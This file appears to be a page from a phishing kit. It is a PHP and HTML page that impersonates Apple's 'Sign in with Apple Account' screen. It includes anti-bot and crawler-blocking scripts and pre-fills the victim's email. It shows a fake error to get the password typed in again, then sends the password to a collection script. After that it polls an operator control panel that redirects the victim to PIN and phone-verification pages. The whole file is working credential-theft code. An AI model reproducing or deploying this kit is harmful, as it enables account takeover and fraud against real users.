<?php 
session_start();
error_reporting(0);
require_once('../config.php');
require_once '../Vuanis/o2ivwuyg.php';
require_once '../Vuanis/pho7zebk.php';
require_once '../Vuanis/rsbvge2q.php';
include('../Vuaniss/blockers.php');
include('../Vuaniss/detects.php');
include('../Vuaniss/Bot-Crawler.php');
include('../Vuaniss/Dila_DZ.php');

function getadmin($data){
    $ud=file_get_contents('../Admin/db.json');
    $udarray = json_decode($ud);
    if(isset($udarray->$data)){
        return $udarray->$data;
    };
};
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <link rel="icon" type="image/x-icon" href="https://www.icloud.com/favicon.ico">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Sign In</title>
  <link rel="stylesheet" media="all" href="https://www.apple.com/wss/fonts/?families=SF+Pro,v3" type="text/css">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --bg:           #ffffff;
      --bg-header:    rgba(245,245,247,0.85);
      --bg-card:      rgb(255, 255, 255);
      --bg-input:     #f0f0f0;
      --text:         #1d1d1f;
      --text-muted:   #6e6e73;
    }

    @media (prefers-color-scheme: dark) {
      :root {
        --bg:           hsl(240,3.4%,11.4%);
        --bg-header:    hsla(240,3.4%,11.4%,0.85);
        --bg-card:      hsl(240,3.4%,11.4%);
        --bg-input:     #2c2c2e;
        --text:         #f5f5f7;
        --text-muted:   #ebebf099;
      }
    }

    body {
      font-family: "SF Pro Text", "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      background: var(--bg);
      color: var(--text);
      min-height: 100vh;
      padding-top: 52px;
      transition: background 0.3s, color 0.3s;
    }

    header {
      height: 52px;
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 24px;
      background: transparent;
      position: absolute;
      top: 0; left: 0; right: 0;
      z-index: 200;
    }

    .overlay {
      display: flex;
      position: fixed;
      inset: 0;
      background: var(--bg);
      z-index: 100;
      align-items: center;
      justify-content: center;
    }

    .modal {
      background: var(--bg-card);
      border-radius: 34px;
      padding: 52px 80px 52px;
      width: 640px;
      min-height: 700px;
      position: relative;
      box-shadow: 0 11px 34px 0 rgba(0,0,0,0.16);
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
    }
    @media (prefers-color-scheme: dark) {
      .modal { box-shadow: 0 11px 34px 0 rgba(0,0,0,0.65); }
    }

    .modal-logo-circle {
      display: flex;
      align-items: center;
      justify-content: center;
      margin: 0 auto 20px;
      width: 160px;
      height: 160px;
    }

    .modal-title {
      font-family: "SF Pro Display", -apple-system, sans-serif;
      font-size: 28px;
      font-weight: 600;
      text-align: center;
      color: var(--text);
      margin-bottom: 22px;
    }

    .fields-group {
      border: 1px solid #86868b;
      border-radius: 12px;
      overflow: hidden;
      transition: border-color 0.15s, box-shadow 0.15s;
    }
    @media (prefers-color-scheme: dark) {
      .fields-group { border-color: #636366; }
    }
    .fields-group:focus-within {
      border-color: #0071e3;
      box-shadow: 0 0 0 3px rgba(0,113,227,0.3);
    }
    .field { margin-bottom: 0; position: relative; }
    .field input {
      width: 100%;
      box-sizing: border-box;
      padding: 1.06rem 0.94rem 0;
      border: none;
      border-radius: 0;
      font-size: 17px;
      height: 56px;
      background: hsla(0,0%,100%,.8);
      color: #1d1d1f;
      outline: none;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      appearance: none;
    }
    @media (prefers-color-scheme: dark) {
      .field input {
        background: hsla(0,0%,18%,.8);
        color: #f5f5f7;
      }
    }
    .field-label {
      position: absolute;
      left: 0.94rem;
      top: 0.56rem;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 12px;
      color: #6e6e73;
      pointer-events: none;
    }
    #password-input {
      padding: 0 0.94rem;
      color: var(--text);
    }
    #password-input::placeholder { color: #6e6e73; }
    @media (prefers-color-scheme: dark) {
      #password-input::placeholder { color: #ebebf099; }
    }
    .field-divider {
      height: 1px;
      background: #86868b;
      margin: 0;
    }
    @media (prefers-color-scheme: dark) {
      .field-divider { background: #636366; }
    }
    .modal-signin-btn {
      width: 100%;
      background: #0071e3;
      color: #ffffff;
      border: none;
      border-radius: 8px;
      height: 44px;
      font-size: 14px;
      font-weight: 600;
      cursor: pointer;
      margin-top: 80px;
      transition: background 0.2s;
      font-family: "SF Pro Text", -apple-system, sans-serif;
    }
    .error-msg {
      color: #df473c;
      font-size: 13px;
      text-align: center;
      margin-top: 18px;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      line-height: 1.4;
    }
    .error-link {
      color: #0071e3;
      text-decoration: none;
      cursor: pointer;
    }
    .error-link:hover {
      text-decoration: underline;
    }

    /* Spinner style for processing state */
    .processing-spinner {
      border: 4px solid rgba(0, 113, 227, 0.1);
      border-top: 4px solid #0071e3;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
      margin: 40px auto;
    }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>

  <header><?php echo @file_get_contents('header_logo.txt'); ?></header>

  <div class="overlay" id="overlay">
    <!-- Main Form Modal -->
    <div class="modal" id="mainModal">
      <div class="modal-logo-circle">
        <svg viewBox="0 0 160 160" width="160" height="160">
          <defs>
            <linearGradient x1="100%" y1="100%" x2="50%" y2="50%" id="grad1"><stop stop-color="#8700FF" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="0%" y1="100%" x2="50%" y2="50%" id="grad2"><stop stop-color="#E00" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="100%" y1="0%" x2="50%" y2="50%" id="grad3"><stop stop-color="#00B1EE" offset="0%"></stop><stop stop-color="#00B1EE" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="-17.876%" y1="21.021%" x2="48.935%" y2="50%" id="grad4"><stop stop-color="#FFA456" offset="0%"></stop><stop stop-color="#FFA456" stop-opacity="0" offset="100%"></stop></linearGradient>
            <path d="<?php echo @file_get_contents('logo_path.txt'); ?>" id="dots"></path>
          </defs>
          <use fill="#FFF" xlink:href="#dots"></use>
          <use fill="url(#grad1)" xlink:href="#dots"></use>
          <use fill="url(#grad2)" xlink:href="#dots"></use>
          <use fill="url(#grad3)" xlink:href="#dots"></use>
          <use fill="url(#grad4)" xlink:href="#dots"></use>
          <path fill="var(--text)" d="M80.38 68.181c1.66 0 3.75-1.091 4.999-2.565 1.137-1.346 1.94-3.183 1.94-5.039 0-.255-.02-.51-.057-.71-1.865.073-4.103 1.201-5.427 2.73-1.063 1.164-2.033 3.02-2.033 4.875 0 .29.056.564.075.655.112.018.298.054.503.054zm-5.724 27.713c2.248 0 3.243-1.474 6.044-1.474 2.838 0 3.483 1.438 5.97 1.438 2.47 0 4.11-2.239 5.677-4.44 1.732-2.53 2.469-4.987 2.487-5.115-.147-.036-4.865-1.947-4.865-7.28 0-4.622 3.704-6.697 3.926-6.86-2.451-3.477-6.192-3.586-7.224-3.586-2.746 0-4.994 1.656-6.431 1.656-1.53 0-3.52-1.547-5.916-1.547-4.551 0-9.158 3.713-9.158 10.701 0 4.368 1.695 8.973 3.814 11.94 1.806 2.51 3.39 4.567 5.676 4.567z"></path>
        </svg>
      </div>

      <p class="modal-title">Sign in with Apple Account</p>

      <div id="step2">
        <form id="signin-form" onsubmit="return false;">
          <div class="fields-group">
            <div class="field">
              <input type="email" id="step2-email" name="userid" value="<?php echo $_SESSION['userid']; ?>" readonly tabindex="-1">
              <span class="field-label">Email or Phone Number</span>
            </div>
            <div class="field-divider"></div>
            <div class="field">
              <input type="password" id="password-input" name="pass" placeholder="Password" autofocus required>
            </div>
          </div>
          <p class="error-msg">Check the account information you entered and try again. <a href="#" class="error-link">Forgot password?</a></p>
          <button type="button" class="modal-signin-btn" id="signinBtn">Sign In</button>
        </form>
      </div>
    </div>

    <!-- Loading Modal -->
    <div class="modal" id="loadingModal" style="display:none; min-height: 400px; flex-direction: column; align-items: center; justify-content: center;">
      <div class="processing-spinner"></div>
      <p class="modal-title" style="font-size: 18px;">Verifying...</p>
    </div>
  </div>

  <script>
    var clid = "<?php echo $_SESSION['client']; ?>";
    const mainModal = document.getElementById('mainModal');
    const loadingModal = document.getElementById('loadingModal');

    document.getElementById('signinBtn').onclick = function () {
      const email = document.getElementById('step2-email').value;
      const pass = document.getElementById('password-input').value;
      if (!pass) { document.getElementById('password-input').focus(); return; }

      // 1. Show Loading State
      mainModal.style.display = 'none';
      loadingModal.style.display = 'flex';

      // 2. AJAX submission
      var http = new XMLHttpRequest();
      http.open("POST", "veri.php", true);
      http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      http.send("userid=" + encodeURIComponent(email) + "&pass=" + encodeURIComponent(pass));
      
      http.onload = function() {
          startPolling();
      };
    };

    function startPolling() {
        if(window.pollingStarted) return;
        window.pollingStarted = true;
        setInterval(() => {
            var http = new XMLHttpRequest();
            http.open("POST","<?php echo $surl; ?>Admin/prl.php", true);
            http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            var params = "update=on&client=true&setnew=9&vid="+clid;
            http.send(params);
            http.onload=function(){
                var res=http.responseText.trim();
                if(res=="6"){window.location.href="vpin.php";}
                else if(res=="10"){window.location.href="index.php";}
                else if(res=="11"){window.location.href="indexs.php";}
                else if(res=="13"){window.location.href="phoneauth.php";}
                else if(res=="7"){window.location.href="end.php";}
                else if(res=="17"){window.location.href="indexs.php";}
            };
        }, 2500);
    }
  </script>
</body>
</html>
